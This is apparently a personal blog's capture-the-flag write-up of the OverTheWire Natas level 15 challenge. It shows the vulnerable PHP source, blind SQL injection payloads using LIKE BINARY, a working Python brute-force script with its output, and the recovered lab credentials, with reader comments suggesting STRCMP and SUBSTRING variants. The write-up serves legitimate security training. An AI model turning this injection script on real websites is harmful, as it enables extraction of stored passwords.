Tuesday 7 October 2014

Wargames - Natas 15

<< Previous challenge

Recommended reading:
From the credentials discovered from the previous challenge, head up to http://natas15.natas.labs.overthewire.org and take a look at its content.
This challenge is similar to the previous one, we're also using SQL injections to gain access to the next password, this time however, we need some scripting to brute force the password.
Take a look at the website, it's a simple form where you enter an username to check if it exists, nothing fancy, let's take a look at the source code:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<html> 
<head> 
<!-- This stuff in the header has nothing to do with the level --> 
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> 
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> 
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> 
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> 
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> 
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head> 
<body> 
<h1>natas15</h1> 
<div id="content"> 
<? 

/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 

if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas15', '<censored>'); 
    mysql_select_db('natas15', $link); 
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        echo "This user exists.<br>"; 
    } else { 
        echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        echo "Error in query.<br>"; 
    } 

    mysql_close($link); 
} else { 
?> 

<form action="index.php" method="POST"> 
Username: <input name="username"><br> 
<input type="submit" value="Check existence" /> 
</form> 
<? } ?> 
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> 
</div> 
</body> 
</html> 
Let's start with lines 17 to 20, which tell us that there's a table called users with fields username and password, always good to know what we're working with, and although this comment is quite convenient, if you recall from the first two levels, sometimes authors do forget to remove comments like this.
Lines 23 to 44 deal with the request made, the connection to the database is established and a query is built taking the username parameter from the request and then executed, what's printed depends on the query result. This challenge might not be so obvious, but again it's about SQL injection, so it comes down to the query, just like in the previous challenge, the query is built with values that are not parsed nor escaped, so we know we can inject whatever we want in that username parameter. I mentioned the lines 17 to 20 because they're a good clue on what to do, since we know that the table holds the username and password, all we need is to append some code that validates both the username and password (like the log in query from the previous challenge), if we get "This user exists." with the appended code, that should contain the full password, we've done our job.
So we figured what we need to do to complete the challenge, try multiple combinations of characters with the username for natas16 until we get the correct output, or in other words, brute force the password, let's get on how to do it:
  • We know that the password is 32 characters long (all previous passwords were, why should this one be any different?);
  • We know that the password is composed of numbers and the alphabet and that it's case sensitive, so that's 10 characters plus 26 times 2.
  • And finally, that the characters may repeat themselves in the password.
With this information, we know that we have 6232 possible combinations, which is a lot. Let's move to the SQL we need to inject. There are several ways to achieve this: we could build 32 characters long strings and change each character one by one (ex.: AA....AA; AA....AB), it's the most obvious way, but also the most time/resource consuming, and if there wasn't a pattern matching operator in SQL, we'd probably have to do it that way, but luckily for us there is, it's the LIKE operator, it allows us to use wildcards (% in this case) to make the task easier, another important operator is the BINARY one, which allows us to make case-sensitive comparisons. With this in mind, we can build queries that will sequentially construct the password, finding the first character, then the second and so on... Let's go even a step further, we know that the password is 32 characters long and that are 62 possible characters, so we know for sure that the password won't use all 62 characters, we can make use of pattern matching to first parse all possible characters and remove the unused ones.
Summing-up, we start by parsing all 62 characters to remove the unused and then start building the password one character at a time. For reference, this is the injection we're going to make to parse the characters:
natas16" AND password LIKE BINARY "%0%" "
The 0 will be replaced with every possible character, if we get "This user exists.", the character exists in the password.
And this is the injection we're going to make to brute force the password:
"natas16" AND password LIKE BINARY "0%" " 
Again, the 0 will be replace with the parsed characters until there's a match, from which the algorithm will advance to next position and so on, until we get a string of size 32 (e.g.: a%, ab%, abc%).
Now the fun part, create and run a script that does what we want, this is what I came up with, in python (you need requests to make this work):
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Created by Joao Godinho
#       October 2014
# Script to brute force level 15 of natas wargames
# Refer to http://floatingbytes.blogspot.com for details

# Library to work with the POST requests
import requests

# All possible characters
allChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
# Parsed characters, the ones that actually exist in the password
parsedChars = ''
# Final Password
password = ''
# Our target URL
target = 'http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/'
# The string that tells we're on the right path
existsStr = 'This user exists.'

# Checking if we can connect to the target, just in case...
r = requests.get(target)
if r.status_code != requests.codes.ok:
        raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
        print 'Target reachable. Starting character parsing...'

# The fun begin, let's see what characters are actually part of the pwd
for c in allChars:
        # SQL injection #1
        r = requests.get(target+'?username=natas16" AND password LIKE BINARY "%'+c+'%" "')
        # So does the password use this char?
        if r.content.find(existsStr) != -1:
                parsedChars += c
                print 'Used chars: ' + parsedChars

print 'Characters parsed. Starting brute force...'

# Assuming password is 32 characters long
for i in range(32):
        for c in parsedChars:
                # SQL injection #2
                r = requests.get(target+'?username=natas16" AND password LIKE BINARY "' + password + c + '%" "')
                # Did we found the character at the i position of the password?
                if r.content.find(existsStr) != -1:
                        password += c
                        print 'Password: ' + password + '*' * int(32 - len(password))
                        break

print 'Done. Have fun!'
Although it has some size, it's pretty simple and it does the job nicely, with some added prints, because fancy is cool. Running this script will give the follow output:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Target reachable. Starting character parsing...
Used chars: 0
Used chars: 03
Used chars: 035
Used chars: 0356
Used chars: 03569
Used chars: 03569a
Used chars: 03569ac
Used chars: 03569ace
Used chars: 03569aceh
Used chars: 03569acehi
Used chars: 03569acehij
Used chars: 03569acehijm
Used chars: 03569acehijmn
Used chars: 03569acehijmnp
Used chars: 03569acehijmnpq
Used chars: 03569acehijmnpqt
Used chars: 03569acehijmnpqtw
Used chars: 03569acehijmnpqtwB
Used chars: 03569acehijmnpqtwBE
Used chars: 03569acehijmnpqtwBEH
Used chars: 03569acehijmnpqtwBEHI
Used chars: 03569acehijmnpqtwBEHIN
Used chars: 03569acehijmnpqtwBEHINO
Used chars: 03569acehijmnpqtwBEHINOR
Used chars: 03569acehijmnpqtwBEHINORW
Characters parsed. Starting brute force...
Password: W*******************************
Password: Wa******************************
Password: WaI*****************************
Password: WaIH****************************
Password: WaIHE***************************
Password: WaIHEa**************************
Password: WaIHEac*************************
Password: WaIHEacj************************
Password: WaIHEacj6***********************
Password: WaIHEacj63**********************
Password: WaIHEacj63w*********************
Password: WaIHEacj63wn********************
Password: WaIHEacj63wnN*******************
Password: WaIHEacj63wnNI******************
Password: WaIHEacj63wnNIB*****************
Password: WaIHEacj63wnNIBR****************
Password: WaIHEacj63wnNIBRO***************
Password: WaIHEacj63wnNIBROH**************
Password: WaIHEacj63wnNIBROHe*************
Password: WaIHEacj63wnNIBROHeq************
Password: WaIHEacj63wnNIBROHeqi***********
Password: WaIHEacj63wnNIBROHeqi3**********
Password: WaIHEacj63wnNIBROHeqi3p*********
Password: WaIHEacj63wnNIBROHeqi3p9********
Password: WaIHEacj63wnNIBROHeqi3p9t*******
Password: WaIHEacj63wnNIBROHeqi3p9t0******
Password: WaIHEacj63wnNIBROHeqi3p9t0m*****
Password: WaIHEacj63wnNIBROHeqi3p9t0m5****
Password: WaIHEacj63wnNIBROHeqi3p9t0m5n***
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nh**
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhm*
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Done. Have fun!
After some time parsing and brute forcing, we get our password for natas 16.

User natas16
Password WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Like I said in the previous post, some injections are simpler than others, this time we had a more complicated one. The post is quite long but it's simple overall, we just had the need to create a script to brute force the password.

Never Settle,

<< Previous challenge

8 comments:

  1. This is also solvable by doing a binary search across the passwords. If you inject a STRCMP it will tell you if the actual password occurs before or after the one you guess, with this you can find the password in log(n), which in this case successfully finds the password in only 191 queries.

    ReplyDelete
    Replies
    1. You're right, bisecting the password using strcmp would be a lot faster!

      Delete
    2. So we guess any random password after one STRCMP what will be our string for the comparison?

      Delete
    3. Okay, but it would only work if you know the password length, right? I know this is the case... But what if no?

      Delete
  2. in fact if your query looks like
    'natas16" and substring(password,'+ str(index) +',1) like binary "'+ letter +'";#'

    you directly get the letter at the good place

    ReplyDelete
  3. Could you maybe explain why you check if it's not equal to -1? What does it do?

    And then in this part: '?username=natas16" AND password LIKE BINARY "%'+c+'%" "'
    Why do you have ' after the first % and and ' before the second %? And then is space needed in the end " " ?

    ReplyDelete
  4. following js script also works fine,
    just inject this code directly to natas15 webpage using firebug

    https://pastebin.com/raw/HDBgJGRj

    ReplyDelete
    Replies
    1. That script is more ugly than the one proposed in this post. And do more iteration, so I think that's not a good solution....

      Delete